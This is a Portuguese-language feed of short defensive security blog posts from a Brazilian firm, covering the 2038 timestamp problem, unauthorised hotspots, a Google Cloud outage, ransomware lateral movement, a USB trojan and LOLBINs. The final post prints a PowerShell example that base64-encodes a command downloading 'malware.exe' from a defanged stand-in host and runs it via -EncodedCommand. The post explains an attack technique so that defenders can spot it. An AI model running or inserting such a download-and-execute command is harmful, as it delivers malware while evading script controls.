Categoria: Processos

Vol. 1 No. 20251014-987 (2025)

Mais uma contagem regressiva

Anísio José Moreira Neto | anisio@cylo.com.br | 14/10/2025

É… Eu sobrevivi a frenética contagem regressiva até o timestamp “00-01-01 00:00:01”, virada do ano de 1999 para 2000, onde muitos acreditavam que todos os computadores iam bugar.

Agora os preparados, preocupados ou até “pessimistas” já podem acompanhar mais uma contagem regressiva, agora para um outro timestamp “2038-01-19 03:14:08 UTC”, neste momento em questão milhares de dispositivos, principalmente os OTs terão algum comportamento muito possivelmente problemático, já que o modelo de tempo conhecido como “Unix time” não irá mais caber em um inteiro de 32 bits.

Basicamente o Unix time conta os segundos desde um “timestamp específico”, zero horas de primeiro de janeiro de 1970, 1970-01-01T00:00:00, até o momento então quando um equipamento com este modelo de hora registra um evento ele insere a quantidade de segundos desde “timestamp específico”. Veja o exemplo no print abaixo, onde o ano, mês, dia, hora, minuto e segundo atual em Unix time é representado pelo inteiro “1760410507”.

Se você lida com equipamentos médicos, industriais, automação, etc. precisa começar a contatar os fabricantes, fazer testes e/ou buscar alternativas, mas principalmente acompanhar o projeto “Epochalypse”, https://epochalypse-project.org/, projeto que fiquei conhecendo pelo pessoal do Cert.Br, https://cert.br/, e agora relembrado pelo newsletter do SANS Institute, https://www.sans.org/.

Acompanhe, prepare-se e esteja pronto. O tempo não para, você, também não pode ficar parado! Só assim nossos empregos vão sobreviver a mais esta contagem regressiva!

Leia https://epochalypse-project.org/

Vol. 1 No. 20250822-852 (2025)

Dever de casa. TOP!

Anísio José Moreira Neto | anisio@cylo.com.br | 22/08/2025

Você já testou se sua empresa está realmente preparada para os desafios da Internet moderna?

O site TOP – Teste os Padrões é uma iniciativa do NIC.br que avalia se os serviços digitais — como sites, e-mails e conexões — estão em conformidade com os padrões técnicos mais modernos e seguros da Internet. Esses padrões incluem tecnologias como IPv6, DNSSEC, HTTPS, TLS, HSTS, DMARC, DKIM, SPF, STARTTLS, DANE, entre outros.

Por que isso importa para sua empresa?

  • Segurança: Adotar esses padrões reduz vulnerabilidades e protege contra ataques como phishing, spoofing e interceptação de dados.
  • Confiabilidade: Serviços que seguem os padrões modernos são mais estáveis e confiáveis, transmitindo mais confiança aos clientes e parceiros.
  • Reputação digital: Estar em conformidade com os testes do TOP é um sinal claro de compromisso com boas práticas de TI e segurança da informação.
  • Competitividade: Empresas que investem em infraestrutura moderna se destacam no mercado e estão mais preparadas para escalar seus serviços.

Hora de fazer o dever de casa

A ferramenta é gratuita e fácil de usar. Basta inserir o domínio do seu site ou serviço de e-mail e verificar os resultados. Se algo estiver fora do padrão, o TOP ainda indica o que pode ser feito para corrigir.

Aqui na CYLO, fizemos o dever de casa, somos TOP! Isso reforça nosso compromisso com a excelência e com a Cybersegurança.

Vol. 1 No. 20250813-850 (2025)

Na descrição…

Anísio José Moreira Neto | anisio@cylo.com.br | 13/08/2025

´É só um desabafo.

Sim, ainda tem lugares com a senha na descrição da conta de usuário, qual o problema? Afinal, são apenas Domain Admins.

Sim, mais de um.

Preciso ir descansar, noite pesada, boa noite.

Vol. 1 No. 20250717-774 (2025)

Os perigos de utilizar hotspot não autorizados no ambiente corporativo 

João Paulo Gonsales | jgonsales@cylo.com.br | 17/07/2025

Frequentemente analisamos um tipo de alerta preocupante : colaboradores dentro do ambiente corporativo compartilhando a internet móvel não autorizado com um dispositivo empresarial, criando com os seus dispositivos hotspots móveis e não autorizados pela organização. Embora possa parecer uma solução inofensiva ou um “atalho” para a conectividade, esse comportamento abre as portas para uma série de riscos graves que podem comprometer toda a segurança da sua organização.

Quando um hotspot móvel não autorizado é ativado, ele faz um bypass em diversas camadas de segurança da organização, é como se abríssemos uma “porta” não autorizada, favorecendo ameaças como ataques do tipo man-in-the-middle, risco para vazamento de dados ou outras ameaças, como um vírus, malware e até um Ransoware no ambiente.

Sobre os alertas analisados, notamos que durante a ação de compartilhar da conexão, criando um hotspot, o dispositivo conectado na rede recebe a faixa de IP 192.168.137.x, e por ser uma faixa de endereço privada e desconhecida dentro do ambiente , que a princípio gerou algumas dificuldades durante a analise, mas com o apoio da documentação da Microsoft e outros fatores presentes no log, verificamos que este endereço é um range padrão, atribuído pelo Windows e utilizado pelo serviço Compartilhamento de Conexão com a Internet (ICS).  

Conforme definido no learn da Microsoft, o serviço de ICS seria o driver atras de Wi-Fi pessoal que, por padrão, o ICS configura o seu computador (o host do hotspot) com o endereço IP 192.168.137.1 e após atribuir este IP, o serviço age como um servidor DHCP (Dynamic Host Configuration Protocol), atribuindo endereços IP aos dispositivos que se conectam ao hotspot, começando geralmente do 192.168.137.x.

Como mencionado acima, esta faixa de IP é de uma rede privada, designada para uso interno, o que significa que os endereços não são roteáveis diretamente na internet e utilizando a máscara padrão com o endereço 255.255.255.0, disponibilizando um range de 254 endereços IP para dispositivos conectados, tirando endereços de gateway e broadcast. 

Esta faixa de endereço pode ser alterado nas configurações do sistema, mas até o momento deste texto, os alertas analisados continham a faixa “padrão”, com o endereço IP 192.168.137.x. 

Por que esta faixa de IP específica? 

 A escolha da faixa 192.168.137.x foi uma convenção estabelecida pela Microsoft para o funcionamento do ICS, ela evita conflitos com outras redes já documentadas e utilizadas em ambientes domésticos ou corporativos (como as populares 192.168.0.x ou 192.168.1.x), garantindo que o seu hotspot possa operar sem problemas, independentemente da rede à qual seu computador principal está conectado. 

 Conexões rede origem e destino resolvendo DNS pelo 192.168.137.x 

Este tipo de ação no ambiente corporativo se torna muito preocupante, onde no cenário atual de flexibilidade no trabalho, onde o home office e os inúmeros dispositivos moveis pessoais no ambiente , gera preocupações de controle para estes dispositivos que, por um lado, a sua utilização pode ser “desculpa” para aumentar a produtividade, mas por outro lado, o mesmo pode ser utilizado para tentar quebrar os controles de segurança de rede dentro das empresas, e com essa pratica, as vezes inocente por parte de quem está utilizando, compromete os controles de segurança da informação e eleva os riscos significativos para a infraestrutura da empresa. 

Para mitigar e melhorar os controles para estes dispositivos, podemos adotar praticas que vão além do monitoramento, como a definição de políticas claras de PSI, implantando a sua conscientização, treinamento para os colaboradores e adoção de ferramentas de MDM (Gerenciamento de Dispositivos Móveis), onde com este recurso podemos aplicar políticas de segurança para os dispositivos moveis, monitorar e controlar o uso de dispositivos corporativos, incluindo a capacidade de criar hotspots.

 Referências :

Vol. 1 No. 20250619-581 (2025)

Falha Técnica, Não Ciberataque: Análise do Evento Global de 12 de Junho

Adriano Cansian | adriano.cansian@unesp.br | 19/06/2025

Resumo

Em 12 de junho de 2025, por volta das 14h51 (UTC-3), uma falha significativa em serviços baseados no Google Cloud causou indisponibilidade generalizada de plataformas como Spotify, Discord, Snap, Character.ai e até partes da infraestrutura da Cloudflare. A suspeita inicial de que se tratava de um ataque cibernético coordenado está descartada com base em dados técnicos e fontes confiáveis. O incidente, embora com impacto global, não teve relação com atividade maliciosa.

Linha do Tempo do Incidente

  • Início do problema: 12 Jun 2025, 17:51 UTC (14:51 GMT-03 BRT).
  • Atualização final do status: 12 Jun 2025, 22:46 UTC (19:46 GMT-03 BRT).
  • Locais afetados: Regiões Google asia-east1, europe-west4, africa-south1 e dezenas de outras.
  • Serviços impactados: APIs, autenticação, conectividade com backend, serviços de hospedagem.
  • Volume de impacto – relatos simultâneos de inacessibilidade: Spotify 46.000, Google 14.000 e Discord 11.000 (segundo Downdetector).
Fonte: ThousandEyes

Nossa análise

Com base nas evidências disponíveis até o momento, é altamente improvável que tenha ocorrido qualquer incidente relevante de segurança cibernética com impacto global em 12 de junho de 2025.

As interrupções observadas em diversos serviços online parecem ter sido causadas por uma falha técnica na infraestrutura do Google Cloud, e não por ações maliciosas ou por um ataque cibernético.

Não há registros oficiais nem indicadores técnicos que sustentem a hipótese de um ataque cibernético coordenado, apesar da circulação de algumas especulações e teorias da conspiração em redes sociais.

Diagnóstico Técnico

De acordo com Google Cloud Status Dashboard, o incidente envolveu instabilidades de rede e falhas no fornecimento de recursos críticos para workloads, com degradação em múltiplas zonas de disponibilidade. Apesar do escopo, não houve indícios de exploração de vulnerabilidades, DDoS, sequestro de rota BGP ou comportamento anômalo em logs de tráfego. O relatório completo de status do Google Cloud para o evento de 12/6/2025 pode ser visto nesse link confiável: https://status.cloud.google.com/incidents/ow5i3PPK96RduMcb1SsW

A Cloudflare, por sua vez, relatou impactos secundários limitados a serviços que utilizam o Google Cloud como backend. Segundo relatos de engenheiros da comunidade e usuários técnicos no Downdetector, houve menção a “erro de configuração de rede” e dependências indiretas afetando ao menos 19 data centers da Cloudflare.

Avaliação Cibernética

Do ponto de vista de threat intelligence e resposta a incidentes, nenhuma IOC (indicador de comprometimento) conhecida foi associada ao evento. Nenhum CSIRT internacional (como o US-CERT ou o JPCERT/CC) emitiu alertas relacionados, tampouco houve correlação com campanhas ativas de ameaça.

Buscas por “cyber attack”, “internet outage”, “DDoS” ou “APT activity” relacionadas a 12/06/2025 nas redes sociais e em feeds técnicos (como OTX AlienVault e MISP) não retornaram nenhuma correlação válida. Portanto, a hipótese de ataque coordenado por ator estatal ou hacktivismo pode ser tecnicamente descartada neste caso.

Implicações para Resiliência

Embora não tenha envolvido comprometimento, o incidente reforça o risco de falhas sistêmicas em infraestruturas centralizadas. A dependência excessiva de provedores de nuvem (monoculturas tecnológicas) pode gerar efeitos em cascata mesmo sem ações maliciosas.

É recomendável que analistas e arquitetos de segurança revisem:

  • Estratégias de redundância multi-cloud.
  • Monitoramento contínuo de integridade de serviços externos (SLAs e upstreams).
  • Planos de contingência para falhas de serviços de terceiros.

Conclusão

Apesar das suspeitas iniciais, o incidente de 12/06/2025 foi causado por uma falha técnica no Google Cloud e não representa um evento de segurança cibernética. Para times de resposta a incidentes, é mais um lembrete de que a visibilidade sobre a cadeia de dependências tecnológicas é tão crítica quanto a detecção de ataques.

Última atualização: 19/06/2025 às 20:29 GMT-03.

Vol. 1 No. 20250612-636 (2025)

Como o Ransomware se Espalha Dentro da Sua Rede

Pedro Brandt Zanqueta | pedro@cylo.com.br | 12/06/2025

Ajudando em uma resposta a incidente, recentemente tivemos que lidar com um determinado grupo de ransomware que atrapalhou uma empresa por um período. Com isso decidi detalhar como geralmente um ataque ocorre.

Ponto de partida

Imagine uma manhã comum na sua empresa. Os colaboradores chegam e iniciam suas atividades. Tudo parece normal até que, um e-mail aparentemente inofensivo chega à caixa de entrada de um colaborador do setor financeiro. O assunto é: “Nota Fiscal em Atraso – URGENTE”. Sem nem desconfiar, o funcionário clica no anexo.

O anexo executa um script em PowerShell, que baixa e executa um payload malicioso. Em segundos, o atacante já acesso à rede. Mas o objetivo não é apenas comprometer uma máquina é paralisar a empresa inteira. E para isso, o ransomware precisa se espalhar.

Descoberta do ambiente

Antes de se mover, o atacante precisa entender o ambiente. Ele começa com técnicas de reconhecimento interno. Utiliza comandos para descobrir sistemas remotos, identificar conexões de rede, e localizar compartilhamentos acessíveis.

Com essas informações em mãos, o atacante sabe exatamente onde estão os servidores de arquivos, os controladores de domínio e as estações mais críticas.

Movimentação lateral

Para se mover lateralmente, o atacante precisa de credenciais. Com Mimikatz usa para extrair senhas da memória do processo LSASS. Se tiver sorte, encontra credenciais de administradores de domínio. Caso contrário, ele pode recorrer a ataques de força bruta ou password spray para comprometer outras contas.

Usando ferramentas como PsExec ou WMI, o ransomware começa a se espalhar. Ele cópia seus arquivos para máquinas remotas usando compartilhamentos administrativos e executa o payload silenciosamente.

Se encontrar vulnerabilidades conhecidas, como EternalBlue, ele pode explorá-las diretamente, sem depender de credenciais.

Garantindo a Persistência

Para garantir que o ransomware continue ativo mesmo após reinicializações, o atacante cria tarefas agendadas ou serviços maliciosos.

Processo Final

Quando o atacante sente que já comprometeu o suficiente, ele inicia a fase final: a criptografia. Utilizando algoritmos robustos, o ransomware bloqueia arquivos em servidores, estações de trabalho e até backups conectados.

Em minutos, a empresa inteira está paralisada. Um aviso aparece nas telas: “Seus arquivos foram criptografados. Pague em Bitcoin para recuperá-los.”

Melhorias no ambiente

  • Segmentação de rede: impede que o atacante se mova livremente.
  • Monitoramento de credenciais: detecta uso anômalo de contas.
  • Atualizações regulares: fecham portas exploradas por vulnerabilidades.
  • Treinamento de usuários: reduz o risco de phishing.
  • Soluções de segurança avançadas: como EDRs e SIEMs, ajudam a detectar e responder rapidamente.

Conclusão

O ransomware não é apenas um vírus que aparece do nada. Ele é o resultado de uma cadeia de ações cuidadosamente planejadas.

A pergunta não é se sua empresa será alvo, mas quando. E quando isso acontecer, o quão preparado você estará?

Vol. 1 No. 20250502-389 (2025)

Políticas de Endpoint irão salvar seu ambiente!

Hector Carlos Frigo | hector@cylo.com.br | 02/05/2025

Recentemente participei da investigação de um incidente interessante que poderia ter levado a um fim extremamente desastroso. Recebemos diversos alertas que relatavam uma atividade suspeita realizada por um usuário desorientado, ao conectar um dispositivo removível desconhecido em sua estação de trabalho, e em seguida, tentar executar um arquivo suspeito presente no mesmo. A ação foi imediatamente bloqueada devido a política existente na estação e reportada ao nosso time.

Iniciamos nossas investigações, onde a princípio, identificamos, que o arquivo, estava nomeado exatamente como um software legitimo conhecido, e confirmadamente utilizado nas operações do cliente. Como de prática, partindo do princípio de “Nunca confiar, sempre verificar” realizamos uma “primeira” análise no arquivo, coletando sua hash SHA-256 e submetendo-a, a sandboxes online, com objetivo de verificar se essa hash já era conhecida, quais conexões externas são realizadas caso haja, relações com outros executaveis, versionamento, entre outras informações necessárias para a investigação.

Arquivo suspeito se encontrava no dispositivo removivel mapeado no disco D:

A hash submetida apresentou resultados alarmantes, multiplos indicadores classificaram o arquivo suspeito submetido, como TROJAN, apontando diversos comportamentos suspeitos, além do fato de já ter sido submetido as sandboxes anteriormente, com nomes diferentes, tentando se passar por processos legítimos do Windows ou arquivos genéricos nomeados em português.

Resultado da Analise realizada no VirusTotal
Lista de nomes que foram associados a esse arquivo

Após o recebimento destes resultados, realizamos uma análise mais aprofundada neste arquivo em um ambiente isolado e preparado para detectar cada ação realizada pelo software , ao executa-lo, imediatamente identificamos uma série de comportamentos suspeitos bem característicos adotados por malwares, como:

capacidade do software se “autor replicar” e “auto deletar”

Cadeia de execução realizada pelo Malware

Sessões com alta entropia e emprego de pacote UPX para dificultar engenharia reversa

“****_9_400**21.exe” has a section named “UPX0”
“****_9_400**21.exe” has a section named “UPX1”
“****_9_400**21.exe” has section name UPX1 with entropy “7.928493634034875”

Além de realizar conexões com servidores DNS dinâmicos, criação de arquivos no diretório reservado para o sistema operacional, entre outras ações que minimizaram ainda mais as dúvidas de que o software presente nesta mídia removível de fato possuía intenções maliciosas.

Sem dúvidas estávamos lidando com um Malware de alta periculosidade e complexidade, que com certeza teria um grande impacto e causaria grandes danos ao ambiente em que fosse executado, porém graças a adoção de políticas de segurança rígidas de endpoint, anteriormente definidas e empregadas em todo o ambiente da empresa, esse incidente pode ser evitado. Desta maneira gostaria de despertar uma reflexão; qual seria o impacto causado no ambiente, se houvesse a ausência dessas políticas?
Assim como o ciclo de resposta a incidente do NIST nos apresenta, fases como “lições aprendidas” e “preparação” são voltadas justamente para estabelecer regras e estratégias que dificultem as ações tomadas por agentes de ameaça, garantindo um ambiente mais resiliente e robusto.

Vol. 1 No. 20250423-381 (2025)

LOLBIN Windows

Pedro Brandt Zanqueta | pedro@cylo.com.br | 23/04/2025

Nos últimos dias trabalhamos em cima de um incidente relacionado a um executável assinado dentro do sistema operacional Microsoft Windows interagindo com agentes maliciosos, sim é isso mesmo que leu, um aplicativo oficial da Microsoft sendo utilizado como parte de um ataque, essa é a teoria dos LOLBIN (Living Off the Land Binaries).

O ataque trabalhado utilizava do LOLBIN PowerShell.exe para transferir os arquivos e persistência no host. Já passou em nossas mãos por exemplo o serviço BITS (Background Intelligent Transfer Service) ao qual é responsável por gerenciar os pacotes de rede que são solicitados pelo sistema operacional, nesse serviço também é passível de ocorrer a mesma situação.

Fica uma recomendação, acompanhem esse projeto mantido pela comunidade chamado LOLBAS Project. Estão focados em manter uma lista de aplicativos dentro do Microsoft Windows que é comum ser utilizados em ataques, com detalhes sabemos comandos e parâmetros que utilizam para passar por times de segurança e ferramentas despreparadas.

Referências:

https://lolbas-project.github.io

Vol. 1 No. 20250417-366 (2025)

Ataques obfuscados via PowerShell

Pedro Brandt Zanqueta | pedro@cylo.com.br | 17/04/2025

Lidamos recentemente com um incidente onde uma estação realizava semanalmente a execução de um script PowerShell via tarefa agendada. Isso levantou uma dúvida interessante, porque as políticas do próprio PowerShell não bloquearia, a Microsoft desenvolveu a política de execução do PowerShell, recurso de segurança ao qual controla as condições sob as quais o PowerShell carrega arquivos de configuração e executa scripts.

Analisando a cadeia de execuções, identificamos que o comando está em base64, ao que nativamente o PowerShell realiza, com isso consegue dar um bypass nessa etapa de segurança a nível de sistema operacional.

Segue abaixo um exemplo da técnica informada:

$command = “Invoke-WebRequest http[:]//malicious[.]com -OutFile malware[.]exe”

$encodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))

powershell -EncodedCommand $encodedCommand

Essa é uma técnica entre muitas que atacantes utilizam, a pergunta que devemos fazer é, suas ferramentas e seu time estão preparados para lidar com ela?

Referências:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.5